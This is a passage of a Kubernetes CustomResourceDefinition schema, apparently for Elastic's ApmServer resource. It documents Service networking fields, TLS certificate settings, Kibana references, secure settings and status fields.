\"ExternalName\".","type":"string"},"externalTrafficPolicy":{"description":"externalTrafficPolicy describes how nodes distribute service traffic they\nreceive on one of the Service's \"externally-facing\" addresses (NodePorts,\nExternalIPs, and LoadBalancer IPs). If set to \"Local\", the proxy will configure\nthe service in a way that assumes that external load balancers will take care\nof balancing the service traffic between nodes, and so each node will deliver\ntraffic only to the node-local endpoints of the service, without masquerading\nthe client source IP. (Traffic mistakenly sent to a node with no endpoints will\nbe dropped.) The default value, \"Cluster\", uses the standard behavior of\nrouting to all endpoints evenly (possibly modified by topology and other\nfeatures). Note that traffic sent to an External IP or LoadBalancer IP from\nwithin the cluster will always get \"Cluster\" semantics, but clients sending to\na NodePort from within the cluster may need to take traffic policy into account\nwhen picking a node.","type":"string"},"healthCheckNodePort":{"description":"healthCheckNodePort specifies the healthcheck nodePort for the service.\nThis only applies when type is set to LoadBalancer and\nexternalTrafficPolicy is set to Local. If a value is specified, is\nin-range, and is not in use, it will be used.  If not specified, a value\nwill be automatically allocated.  External systems (e.g. load-balancers)\ncan use this port to determine if a given node holds endpoints for this\nservice or not.  If this field is specified when creating a Service\nwhich does not need it, creation will fail. This field will be wiped\nwhen updating a Service to no longer need it (e.g. changing type).\nThis field cannot be updated once set.","format":"int32","type":"integer"},"internalTrafficPolicy":{"description":"InternalTrafficPolicy describes how nodes distribute service traffic they\nreceive on the ClusterIP. If set to \"Local\", the proxy will assume that pods\nonly want to talk to endpoints of the service on the same node as the pod,\ndropping the traffic if there are no local endpoints. The default value,\n\"Cluster\", uses the standard behavior of routing to all endpoints evenly\n(possibly modified by topology and other features).","type":"string"},"ipFamilies":{"description":"IPFamilies is a list of IP families (e.g. IPv4, IPv6) assigned to this\nservice. This field is usually assigned automatically based on cluster\nconfiguration and the ipFamilyPolicy field. If this field is specified\nmanually, the requested family is available in the cluster,\nand ipFamilyPolicy allows it, it will be used; otherwise creation of\nthe service will fail. This field is conditionally mutable: it allows\nfor adding or removing a secondary IP family, but it does not allow\nchanging the primary IP family of the Service. Valid values are \"IPv4\"\nand \"IPv6\".  This field only applies to Services of types ClusterIP,\nNodePort, and LoadBalancer, and does apply to \"headless\" services.\nThis field will be wiped when updating a Service to type ExternalName.\n\n\nThis field may hold a maximum of two entries (dual-stack families, in\neither order).  These families must correspond to the values of the\nclusterIPs field, if specified. Both clusterIPs and ipFamilies are\ngoverned by the ipFamilyPolicy field.","items":{"description":"IPFamily represents the IP Family (IPv4 or IPv6). This type is used\nto express the family of an IP expressed by a type (e.g. service.spec.ipFamilies).","type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"ipFamilyPolicy":{"description":"IPFamilyPolicy represents the dual-stack-ness requested or required by\nthis Service. If there is no value provided, then this field will be set\nto SingleStack. Services can be \"SingleStack\" (a single IP family),\n\"PreferDualStack\" (two IP families on dual-stack configured clusters or\na single IP family on single-stack clusters), or \"RequireDualStack\"\n(two IP families on dual-stack configured clusters, otherwise fail). The\nipFamilies and clusterIPs fields depend on the value of this field. This\nfield will be wiped when updating a service to type ExternalName.","type":"string"},"loadBalancerClass":{"description":"loadBalancerClass is the class of the load balancer implementation this Service belongs to.\nIf specified, the value of this field must be a label-style identifier, with an optional prefix,\ne.g. \"internal-vip\" or \"example.com/internal-vip\". Unprefixed names are reserved for end-users.\nThis field can only be set when the Service type is 'LoadBalancer'. If not set, the default load\nbalancer implementation is used, today this is typically done through the cloud provider integration,\nbut should apply for any default implementation. If set, it is assumed that a load balancer\nimplementation is watching for Services with a matching class. Any default load balancer\nimplementation (e.g. cloud providers) should ignore Services that set this field.\nThis field can only be set when creating or updating a Service to type 'LoadBalancer'.\nOnce set, it can not be changed. This field will be wiped when a service is updated to a non 'LoadBalancer' type.","type":"string"},"loadBalancerIP":{"description":"Only applies to Service Type: LoadBalancer.\nThis feature depends on whether the underlying cloud-provider supports specifying\nthe loadBalancerIP when a load balancer is created.\nThis field will be ignored if the cloud-provider does not support the feature.\nDeprecated: This field was under-specified and its meaning varies across implementations.\nUsing it is non-portable and it may not support dual-stack.\nUsers are encouraged to use implementation-specific annotations when available.","type":"string"},"loadBalancerSourceRanges":{"description":"If specified and supported by the platform, this will restrict traffic through the cloud-provider\nload-balancer will be restricted to the specified client IPs. This field will be ignored if the\ncloud-provider does not support the feature.\"\nMore info: https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"ports":{"description":"The list of ports that are exposed by this service.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","items":{"description":"ServicePort contains information on service's port.","properties":{"appProtocol":{"description":"The application protocol for this port.\nThis is used as a hint for implementations to offer richer behavior for protocols that they understand.\nThis field follows standard Kubernetes label syntax.\nValid values are either:\n\n\n* Un-prefixed protocol names - reserved for IANA standard service names (as per\nRFC-6335 and https://www.iana.org/assignments/service-names).\n\n\n* Kubernetes-defined prefixed names:\n  * 'kubernetes.io/h2c' - HTTP/2 prior knowledge over cleartext as described in https://www.rfc-editor.org/rfc/rfc9113.html#name-starting-http-2-with-prior-\n  * 'kubernetes.io/ws'  - WebSocket over cleartext as described in https://www.rfc-editor.org/rfc/rfc6455\n  * 'kubernetes.io/wss' - WebSocket over TLS as described in https://www.rfc-editor.org/rfc/rfc6455\n\n\n* Other protocols should use implementation-defined prefixed names such as\nmycompany.com/my-custom-protocol.","type":"string"},"name":{"description":"The name of this port within the service. This must be a DNS_LABEL.\nAll ports within a ServiceSpec must have unique names. When considering\nthe endpoints for a Service, this must match the 'name' field in the\nEndpointPort.\nOptional if only one ServicePort is defined on this service.","type":"string"},"nodePort":{"description":"The port on each node on which this service is exposed when type is\nNodePort or LoadBalancer.  Usually assigned by the system. If a value is\nspecified, in-range, and not in use it will be used, otherwise the\noperation will fail.  If not specified, a port will be allocated if this\nService requires one.  If this field is specified when creating a\nService which does not need it, creation will fail. This field will be\nwiped when updating a Service to no longer need it (e.g. changing type\nfrom NodePort to ClusterIP).\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#type-nodeport","format":"int32","type":"integer"},"port":{"description":"The port that will be exposed by this service.","format":"int32","type":"integer"},"protocol":{"default":"TCP","description":"The IP protocol for this port. Supports \"TCP\", \"UDP\", and \"SCTP\".\nDefault is TCP.","type":"string"},"targetPort":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"Number or name of the port to access on the pods targeted by the service.\nNumber must be in the range 1 to 65535. Name must be an IANA_SVC_NAME.\nIf this is a string, it will be looked up as a named port in the\ntarget Pod's container ports. If this is not specified, the value\nof the 'port' field is used (an identity map).\nThis field is ignored for services with clusterIP=None, and should be\nomitted or set equal to the 'port' field.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#defining-a-service","x-kubernetes-int-or-string":true}},"required":["port"],"type":"object"},"type":"array","x-kubernetes-list-map-keys":["port","protocol"],"x-kubernetes-list-type":"map"},"publishNotReadyAddresses":{"description":"publishNotReadyAddresses indicates that any agent which deals with endpoints for this\nService should disregard any indications of ready/not-ready.\nThe primary use case for setting this field is for a StatefulSet's Headless Service to\npropagate SRV DNS records for its Pods for the purpose of peer discovery.\nThe Kubernetes controllers that generate Endpoints and EndpointSlice resources for\nServices interpret this to mean that all endpoints are considered \"ready\" even if the\nPods themselves are not. Agents which consume only Kubernetes generated endpoints\nthrough the Endpoints or EndpointSlice resources can safely assume this behavior.","type":"boolean"},"selector":{"additionalProperties":{"type":"string"},"description":"Route service traffic to pods with label keys and values matching this\nselector. If empty or not present, the service is assumed to have an\nexternal process managing its endpoints, which Kubernetes will not\nmodify. Only applies to types ClusterIP, NodePort, and LoadBalancer.\nIgnored if type is ExternalName.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/","type":"object","x-kubernetes-map-type":"atomic"},"sessionAffinity":{"description":"Supports \"ClientIP\" and \"None\". Used to maintain session affinity.\nEnable client IP based session affinity.\nMust be ClientIP or None.\nDefaults to None.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","type":"string"},"sessionAffinityConfig":{"description":"sessionAffinityConfig contains the configurations of session affinity.","properties":{"clientIP":{"description":"clientIP contains the configurations of Client IP based session affinity.","properties":{"timeoutSeconds":{"description":"timeoutSeconds specifies the seconds of ClientIP type session sticky time.\nThe value must be \u003e0 \u0026\u0026 \u003c=86400(for 1 day) if ServiceAffinity == \"ClientIP\".\nDefault value is 10800(for 3 hours).","format":"int32","type":"integer"}},"type":"object"}},"type":"object"},"trafficDistribution":{"description":"TrafficDistribution offers a way to express preferences for how traffic is\ndistributed to Service endpoints. Implementations can use this field as a\nhint, but are not required to guarantee strict adherence. If the field is\nnot set, the implementation will apply its default routing strategy. If set\nto \"PreferClose\", implementations should prioritize endpoints that are\ntopologically close (e.g., same zone).\nThis is an alpha field and requires enabling ServiceTrafficDistribution feature.","type":"string"},"type":{"description":"type determines how the Service is exposed. Defaults to ClusterIP. Valid\noptions are ExternalName, ClusterIP, NodePort, and LoadBalancer.\n\"ClusterIP\" allocates a cluster-internal IP address for load-balancing\nto endpoints. Endpoints are determined by the selector or if that is not\nspecified, by manual construction of an Endpoints object or\nEndpointSlice objects. If clusterIP is \"None\", no virtual IP is\nallocated and the endpoints are published as a set of endpoints rather\nthan a virtual IP.\n\"NodePort\" builds on ClusterIP and allocates a port on every node which\nroutes to the same endpoints as the clusterIP.\n\"LoadBalancer\" builds on NodePort and creates an external load-balancer\n(if supported in the current cloud) which routes to the same endpoints\nas the clusterIP.\n\"ExternalName\" aliases this service to the specified externalName.\nSeveral other fields do not apply to ExternalName services.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#publishing-services-service-types","type":"string"}},"type":"object"}},"type":"object"},"tls":{"description":"TLS defines options for configuring TLS for HTTP.","properties":{"certificate":{"description":"Certificate is a reference to a Kubernetes secret that contains the certificate and private key for enabling TLS.\nThe referenced secret should contain the following:\n\n\n- `ca.crt`: The certificate authority (optional).\n- `tls.crt`: The certificate (or a chain).\n- `tls.key`: The private key to the first certificate in the certificate chain.","properties":{"secretName":{"description":"SecretName is the name of the secret.","type":"string"}},"type":"object"},"selfSignedCertificate":{"description":"SelfSignedCertificate allows configuring the self-signed certificate generated by the operator.","properties":{"disabled":{"description":"Disabled indicates that the provisioning of the self-signed certifcate should be disabled.","type":"boolean"},"subjectAltNames":{"description":"SubjectAlternativeNames is a list of SANs to include in the generated HTTP TLS certificate.","items":{"description":"SubjectAlternativeName represents a SAN entry in a x509 certificate.","properties":{"dns":{"description":"DNS is the DNS name of the subject.","type":"string"},"ip":{"description":"IP is the IP address of the subject.","type":"string"}},"type":"object"},"type":"array"}},"type":"object"}},"type":"object"}},"type":"object"},"image":{"description":"Image is the APM Server Docker image to deploy.","type":"string"},"kibanaRef":{"description":"KibanaRef is a reference to a Kibana instance running in the same Kubernetes cluster.\nIt allows APM agent central configuration management in Kibana.","properties":{"name":{"description":"Name of an existing Kubernetes object corresponding to an Elastic resource managed by ECK.","type":"string"},"namespace":{"description":"Namespace of the Kubernetes object. If empty, defaults to the current namespace.","type":"string"},"secretName":{"description":"SecretName is the name of an existing Kubernetes secret that contains connection information for associating an\nElastic resource not managed by the operator. The referenced secret must contain the following:\n- `url`: the URL to reach the Elastic resource\n- `username`: the username of the user to be authenticated to the Elastic resource\n- `password`: the password of the user to be authenticated to the Elastic resource\n- `ca.crt`: the CA certificate in PEM format (optional)\n- `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)\nThis field cannot be used in combination with the other fields name, namespace or serviceName.","type":"string"},"serviceName":{"description":"ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced\nobject. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of\nthe referenced resource is used.","type":"string"}},"type":"object"},"podTemplate":{"description":"PodTemplate provides customisation options (labels, annotations, affinity rules, resource requests, and so on) for the APM Server pods.","type":"object","x-kubernetes-preserve-unknown-fields":true},"revisionHistoryLimit":{"description":"RevisionHistoryLimit is the number of revisions to retain to allow rollback in the underlying Deployment.","format":"int32","type":"integer"},"secureSettings":{"description":"SecureSettings is a list of references to Kubernetes secrets containing sensitive configuration options for APM Server.","items":{"description":"SecretSource defines a data source based on a Kubernetes Secret.","properties":{"entries":{"description":"Entries define how to project each key-value pair in the secret to filesystem paths.\nIf not defined, all keys will be projected to similarly named paths in the filesystem.\nIf defined, only the specified keys will be projected to the corresponding paths.","items":{"description":"KeyToPath defines how to map a key in a Secret object to a filesystem path.","properties":{"key":{"description":"Key is the key contained in the secret.","type":"string"},"path":{"description":"Path is the relative file path to map the key to.\nPath must not be an absolute file path and must not contain any \"..\" components.","type":"string"}},"required":["key"],"type":"object"},"type":"array"},"secretName":{"description":"SecretName is the name of the secret.","type":"string"}},"required":["secretName"],"type":"object"},"type":"array"},"serviceAccountName":{"description":"ServiceAccountName is used to check access from the current resource to a resource (for ex. Elasticsearch) in a different namespace.\nCan only be used if ECK is enforcing RBAC on references.","type":"string"},"version":{"description":"Version of the APM Server.","type":"string"}},"required":["version"],"type":"object"},"status":{"description":"ApmServerStatus defines the observed state of ApmServer","properties":{"availableNodes":{"description":"AvailableNodes is the number of available replicas in the deployment.","format":"int32","type":"integer"},"count":{"description":"Count corresponds to Scale.Status.Replicas, which is the actual number of observed instances of the scaled object.","format":"int32","type":"integer"},"elasticsearchAssociationStatus":{"description":"ElasticsearchAssociationStatus is the status of any auto-linking to Elasticsearch clusters.","type":"string"},"health":{"description":"Health of the deployment.","type":"string"},"kibanaAssociationStatus":{"description":"KibanaAssociationStatus is the status of any auto-linking to Kibana.","type":"string"},"observedGeneration":{"description":"ObservedGeneration represents the .metadata.generation that the status is based upon.\nIt corresponds to the metadata generation, which is updated on mutation by the API Server.\nIf the generation observed in status diverges from the generation in metadata, the APM Server\ncontroller has not yet processed the changes contained in the APM Server specification.","format":"int64","type":"integer"},"secretTokenSecret":{"description":"SecretTokenSecretName is the name of the Secret that contains the secret token","type":"string"},"selector":{"description":"Selector is the label selector used to find all pods.","type":"string"},"service":{"description":"ExternalService is the name of the service the agents should connect to.","type":"string"},"version":{"description":"Version of the stack resource currently running. During version upgrades, multiple versions may run\nin parallel: this value specifies the lowest version currently running.","type":"string"}},"type":"object"}},"type":"object"}},"served":true,"storage":true,"subresources":{"scale":{"labelSelectorPath":".status.selector","specReplicasPath":".spec.count","statusReplicasPath":".status.count"},"status":{}}},{"additionalPrinterColumns":[{"jsonPath":".status.health","name":"health","type":"string"},{"description":"Available nodes","jsonPath":".status.availableNodes","name":"nodes","type":"integer"},{"description":"APM version","jsonPath":".spec.version","name":"version","type":"string"},{"jsonPath":".metadata.creationTimestamp","name":"age","type":"date"}],"name":"v1beta1","schema":{"openAPIV3Schema":{"description":"ApmServer represents an APM Server resource in a Kubernetes cluster.","properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"description":"ApmServerSpec holds the specification of an APM Server.","properties":{"config":{"description":"Config holds the APM Server configuration. See: https://www.elastic.co/guide/en/apm/server/current/configuring-howto-apm-server.html","type":"object","x-kubernetes-preserve-unknown-fields":true},"count":{"description":"Count of APM Server instances to deploy.","format":"int32","type":"integer"},"elasticsearchRef":{"description":"ElasticsearchRef is a reference to the output Elasticsearch cluster running in the same Kubernetes cluster.","properties":{"name":{"description":"Name of the Kubernetes object.","type":"string"},"namespace":{"description":"Namespace of the Kubernetes object. If empty, defaults to the current namespace.","type":"string"}},"required":["name"],"type":"object"},"http":{"description":"HTTP holds the HTTP layer configuration for the APM Server resource.","properties":{"service":{"description":"Service defines the template for the associated Kubernetes Service object.","properties":{"metadata":{"description":"ObjectMeta is the metadata of the service.\nThe name and namespace provided here are managed by ECK and will be ignored.","properties":{"annotations":{"additionalProperties":{"type":"string"},"type":"object"},"finalizers":{"items":{"type":"string"},"type":"array"},"labels":{"additionalProperties":{"type":"string"},"type":"object"},"name":{"type":"string"},"namespace":{"type":"string"}},"type":"object"},"spec":{"description":"Spec is the specification of the service.","properties":{"allocateLoadBalancerNodePorts":{"description":"allocateLoadBalancerNodePorts defines if NodePorts will be automatically\nallocated for services with type LoadBalancer.  Default is \"true\". It\nmay be set to \"false\" if the cluster load-balancer does not rely on\nNodePorts.  If the caller requests specific NodePorts (by specifying a\nvalue), those requests will be respected, regardless of this field.\nThis field may only be set for services with type LoadBalancer and will\nbe cleared if the type is changed to any other type.","type":"boolean"},"clusterIP":{"description":"clusterIP is the IP address of the service and is usually assigned\nrandomly. If an address is specified manually, is in-range (as per\nsystem configuration), and is not in use, it will be allocated to the\nservice; otherwise creation of the service will fail. This field may not\nbe changed through updates unless the type field is also being changed\nto ExternalName (which requires this field to be blank) or the type\nfield is being changed from ExternalName (in which case this field may\noptionally be specified, as describe above).  Valid values are \"None\",\nempty string (\"\"), or a valid IP address. Setting this to \"None\" makes a\n\"headless service\" (no virtual IP), which is useful when direct endpoint\nconnections are preferred and proxying is not required.  Only applies to\ntypes ClusterIP, NodePort, and LoadBalancer. If this field is specified\nwhen creating a Service of type ExternalName, creation will fail. This\nfield will be wiped when updating a Service to type ExternalName.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","type":"string"},"clusterIPs":{"description":"ClusterIPs is a list of IP addresses assigned to this service, and are\nusually assigned randomly.  If an address is specified manually, is\nin-range (as per system configuration), and is not in use, it will be\nallocated to the service; otherwise creation of the service will fail.\nThis field may not be changed through updates unless the type field is\nalso being changed to ExternalName (which requires this field to be\nempty) or the type field is being changed from ExternalName (in which\ncase this field may optionally be specified, as describe above).  Valid\nvalues are \"None\", empty string (\"\"), or a valid IP address.  Setting\nthis to \"None\" makes a \"headless service\" (no virtual IP), which is\nuseful when direct endpoint connections are preferred and proxying is\nnot required.  Only applies to types ClusterIP, NodePort, and\nLoadBalancer. If this field is specified when creating a Service of type\nExternalName, creation will fail. This field will be wiped when updating\na Service to type ExternalName.  If this field is not specified, it will\nbe initialized from the clusterIP field.  If this field is specified,\nclients must ensure that clusterIPs[0] and clusterIP have the same\nvalue.\n\n\nThis field may hold a maximum of two entries (dual-stack IPs, in either order).\nThese IPs must correspond to the values of the ipFamilies field. Both\nclusterIPs and ipFamilies are governed by the ipFamilyPolicy field.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"externalIPs":{"description":"externalIPs is a list of IP addresses for which nodes in the cluster\nwill also accept traffic for this service.  These IPs are not managed by\nKubernetes.  The user is responsible for ensuring that traffic arrives\nat a node with this IP.  A common example is external load-balancers\nthat are not part of the Kubernetes system.","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"externalName":{"description":"externalName is the external reference that discovery mechanisms will\nreturn as an alias for this service (e.g. a DNS CNAME record). No\nproxying will be involved.  Must be a lowercase RFC-1123 hostname\n(https://tools.ietf.org/html/rfc1123) and requires `type` to be \"ExternalName\".","type":"string"},"externalTrafficPolicy":{"description":"externalTrafficPolicy describes how nodes distribute service traffic they\nreceive on one of the Service's \"externally-facing\" addresses (NodePorts,\nExternalIPs, and LoadBalancer IPs). If set to \"Local\", the proxy will configure\nthe service in a way that assumes that external load balancers will take care\nof balancing the service traffic between nodes, and so each node will deliver\ntraffic only to the node-local endpoints of the service, without masquerading\nthe client source IP. (Traffic mistakenly sent to a node with no endpoints will\nbe dropped.) The default value, \"Cluster\", uses the standard behavior of\nrouting to all endpoints evenly (possibly modified by topology and other\nfeatures). Note that traffic sent to an External IP or LoadBalancer IP from\nwithin the cluster will always get \"Cluster\" semantics, but clients sending to\na NodePort from within the cluster may need to take traffic policy into account\nwhen picking a node.","type":"string"},"healthCheckNodePort":{"description":"healthCheckNodePort specifies the healthcheck nodePort for the service.\nThis only applies when type is set to LoadBalancer and\nexternalTrafficPolicy is set to Local. If a value is specified, is\nin-range, and is not in use, it will be used.  If not specified, a value\nwill be automatically allocated.  External systems (e.g. load-balancers)\ncan use this port to determine if a given node holds endpoints for this\nservice or not.  If this field is specified when creating a Service\nwhich does not need it, creation will fail. This field will be wiped\nwhen updating a Service to no longer need it (e.g. changing type).\nThis field cannot be updated once set.","format":"int32","type":"integer"},"internalTrafficPolicy":{"description":"InternalTrafficPolicy describes how nodes distribute service traffic they\nreceive on the ClusterIP. If set to \"Local\", the proxy will assume that pods\nonly want to talk to endpoints of the service on the same node as the pod,\ndropping the traffic if there are no local endpoints. The default value,\n\"Cluster\", uses the standard behavior of routing to all endpoints evenly\n(possibly modified by topology and other features).","type":"string"},"ipFamilies":{"description":"IPFamilies is a list of IP families (e.g. IPv4, IPv6) assigned to this\nservice. This field is usually assigned automatically based on cluster\nconfiguration and the ipFamilyPolicy field. If this field is specified\nmanually, the requested family is available in the cluster,\nand ipFamilyPolicy allows it, it will be used; otherwise creation of\nthe service will fail. This field is conditionally mutable: it allows\nfor adding or removing a secondary IP family, but it does not allow\nchanging the primary IP family of the Service. Valid values are \"IPv4\"\nand \"IPv6\".  This field only applies to Services of types ClusterIP,\nNodePort, and LoadBalancer, and does apply to \"headless\" services.\nThis field will be wiped when updating a Service to type ExternalName.\n\n\nThis field may hold a maximum of two entries (dual-stack families, in\neither order).  These families must correspond to the values of the\nclusterIPs field, if specified. Both clusterIPs and ipFamilies are\ngoverned by the ipFamilyPolicy field.","items":{"description":"IPFamily represents the IP Family (IPv4 or IPv6). This type is used\nto express the family of an IP expressed by a type (e.g. service.spec.ipFamilies).","type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"ipFamilyPolicy":{"description":"IPFamilyPolicy represents the dual-stack-ness requested or required by\nthis Service. If there is no value provided, then this field will be set\nto SingleStack. Services can be \"SingleStack\" (a single IP family),\n\"PreferDualStack\" (two IP families on dual-stack configured clusters or\na single IP family on single-stack clusters), or \"RequireDualStack\"\n(two IP families on dual-stack configured clusters, otherwise fail). The\nipFamilies and clusterIPs fields depend on the value of this field. This\nfield will be wiped when updating a service to type ExternalName.","type":"string"},"loadBalancerClass":{"description":"loadBalancerClass is the class of the load balancer implementation this Service belongs to.\nIf specified, the value of this field must be a label-style identifier, with an optional prefix,\ne.g. \"internal-vip\" or \"example.com/internal-vip\". Unprefixed names are reserved for end-users.\nThis field can only be set when the Service type is 'LoadBalancer'. If not set, the default load\nbalancer implementation is used, today this is typically done through the cloud provider integration,\nbut should apply for any default implementation. If set, it is assumed that a load balancer\nimplementation is watching for Services with a matching class. Any default load balancer\nimplementation (e.g. cloud providers) should ignore Services that set this field.\nThis field can only be set when creating or updating a Service to type 'LoadBalancer'.\nOnce set, it can not be changed. This field will be wiped when a service is updated to a non 'LoadBalancer' type.","type":"string"},"loadBalancerIP":{"description":"Only applies to Service Type: LoadBalancer.\nThis feature depends on whether the underlying cloud-provider supports specifying\nthe loadBalancerIP when a load balancer is created.\nThis field will be ignored if the cloud-provider does not support the feature.\nDeprecated: This field was under-specified and its meaning varies across implementations.\nUsing it is non-portable and it may not support dual-stack.\nUsers are encouraged to use implementation-specific annotations when available.","type":"string"},"loadBalancerSourceRanges":{"description":"If specified and supported by the platform, this will restrict traffic through the cloud-provider\nload-balancer will be restricted to the specified client IPs. This field will be ignored if the\ncloud-provider does not support the feature.\"\nMore info: https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"ports":{"description":"The list of ports that are exposed by this service.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","items":{"description":"ServicePort contains information on service's port.","properties":{"appProtocol":{"description":"The application protocol for this port.\nThis is used as a hint for implementations to offer richer behavior for protocols that they understand.\nThis field follows standard Kubernetes label syntax.\nValid values are either:\n\n\n* Un-prefixed protocol names - reserved for IANA standard service names (as per\nRFC-6335 and https://www.iana.org/assignments/service-names).\n\n\n* Kubernetes-defined prefixed names:\n  * 'kubernetes.io/h2c' - HTTP/2 prior knowledge over cleartext as described in https://www.rfc-editor.org/rfc/rfc9113.html#name-starting-http-2-with-prior-\n  * 'kubernetes.io/ws'  - WebSocket over cleartext as described in https://www.rfc-editor.org/rfc/rfc6455\n  * 'kubernetes.io/wss' - WebSocket over TLS as described in https://www.rfc-editor.org/rfc/rfc6455\n\n\n* Other protocols should use implementation-defined prefixed names such as\nmycompany.com/my-custom-protocol.","type":"string"},"name":{"description":"The name of this port within the service. This must be a DNS_LABEL.\nAll ports within a ServiceSpec must have unique names. When considering\nthe endpoints for a Service, this must match the 'name' field in the\nEndpointPort.\nOptional if only one ServicePort is defined on this service.","type":"string"},"nodePort":{"description":"The port on each node on which this service is exposed when type is\nNodePort or LoadBalancer.  Usually assigned by the system. If a value is\nspecified, in-range, and not in use it will be used, otherwise the\noperation will fail.  If not specified, a port will be allocated if this\nService requires one.  If this field is specified when creating a\nService which does not need it, creation will fail. This field will be\nwiped when updating a Service to no longer need it (e.g. changing type\nfrom NodePort to ClusterIP).\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#type-nodeport","format":"int32","type":"integer"},"port":{"description":"The port that will be exposed by this service.","format":"int32","type":"integer"},"protocol":{"default":"TCP","description":"The IP protocol for this port. Supports \"TCP\", \"UDP\", and \"SCTP\".\nDefault is TCP.","type":"string"},"targetPort":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"Number or name of the port to access on the pods targeted by the service.\nNumber must be in the range 1 to 65535. Name must be an IANA_SVC_NAME.\nIf this is a string, it will be looked up as a named port in the\ntarget Pod's container ports. If this is not specified, the value\nof the 'port' field is used (an identity map).\nThis field is ignored for services with clusterIP=None, and should be\nomitted or set equal to the 'port' field.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#defining-a-service","x-kubernetes-int-or-string":true}},"required":["port"],"type":"object"},"type":"array","x-kubernetes-list-map-keys":["port","protocol"],"x-kubernetes-list-type":"map"},"publishNotReadyAddresses":{"description":"publishNotReadyAddresses indicates that any agent which deals with endpoints for this\nService should disregard any indications of ready/not-ready.\nThe primary use case for setting this field is for a StatefulSet's Headless Service to\npropagate SRV DNS records for its Pods for the purpose of peer discovery.\nThe Kubernetes controllers that generate Endpoints and EndpointSlice resources for\nServices interpret this to mean that all endpoints are considered \"ready\" even if the\nPods themselves are not. Agents which consume only Kubernetes generated endpoints\nthrough the Endpoints or EndpointSlice resources can safely assume this behavior.","type":"boolean"},"selector":{"additionalProperties":{"type":"string"},"description":"Route service traffic to pods with label keys and values matching this\nselector. If empty or not present, the service is assumed to have an\nexternal process managing its endpoints, which Kubernetes will not\nmodify. Only applies to types ClusterIP, NodePort, and LoadBalancer.\nIgnored if type is ExternalName.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/","type":"object","x-kubernetes-map-type":"atomic"},"sessionAffinity":{"description":"Supports \"ClientIP\" and \"None\". Used to maintain session affinity.\nEnable client IP based session affinity.\nMust be ClientIP or None.\nDefaults to None.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","type":"string"},"sessionAffinityConfig":{"description":"sessionAffinityConfig contains the configurations of session affinity.","properties":{"clientIP":{"description":"clientIP contains the configurations of Client IP based session affinity.","properties":{"timeoutSeconds":{"description":"timeoutSeconds specifies the seconds of ClientIP type session sticky time.\nThe value must be \u003e0 \u0026\u0026 \u003c=86400(for 1 day) if ServiceAffinity == \"ClientIP\".\nDefault value is 10800(for 3 hours).","format":"int32","type":"integer"}},"type":"object"}},"type":"object"},"trafficDistribution":{"description":"TrafficDistribution offers a way to express preferences for how traffic is\ndistributed to Service endpoints. Implementations can use this field as a\nhint, but are not required to guarantee strict adherence. If the field is\nnot set, the implementation will apply its default routing strategy. If set\nto \"PreferClose\", implementations should prioritize endpoints that are\ntopologically close (e.g., same zone).\nThis is an alpha field and requires enabling ServiceTrafficDistribution feature.","type":"string"},"type":{"description":"type determines how the Service is exposed. Defaults to ClusterIP. Valid\noptions are ExternalName, ClusterIP, NodePort, and LoadBalancer.\n\"ClusterIP\" allocates a cluster-internal IP address for load-balancing\nto endpoints. Endpoints are determined by the selector or if that is not\nspecified, by manual construction of an Endpoints object or\nEndpointSlice objects. If clusterIP is \"None\", no virtual IP is\nallocated and the endpoints are published as a set of endpoints rather\nthan a virtual IP.\n\"NodePort\" builds on ClusterIP and allocates a port on every node which\nroutes to the same endpoints as the clusterIP.\n\"LoadBalancer\" builds on NodePort and creates an external load-balancer\n(if supported in the current cloud) which routes to the same endpoints\nas the clusterIP.\n\"ExternalName\" aliases this service to the specified externalName.\nSeveral other fields do not apply to ExternalName services.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#publishing-services-service-types","type":"string"}},"type":"object"}},"type":"object"},"tls":{"description":"TLS defines options for configuring TLS for HTTP.","properties":{"certificate":{"description":"Certificate is a reference to a Kubernetes secret that contains the certificate and private key for enabling TLS.\nThe referenced secret should contain the following:\n\n\n- `ca.crt`: The certificate authority (optional).\n- `tls.crt`: The certificate (or a chain).\n- `tls.key`: The private key to the first certificate in the certificate chain.","properties":{"secretName":{"description":"SecretName is the name of the secret.","type":"string"}},"type":"object"},"selfSignedCertificate":{"description":"SelfSignedCertificate allows configuring the self-signed certificate generated by the operator.","properties":{"disabled":{"description":"Disabled indicates that the provisioning of the self-signed certifcate should be 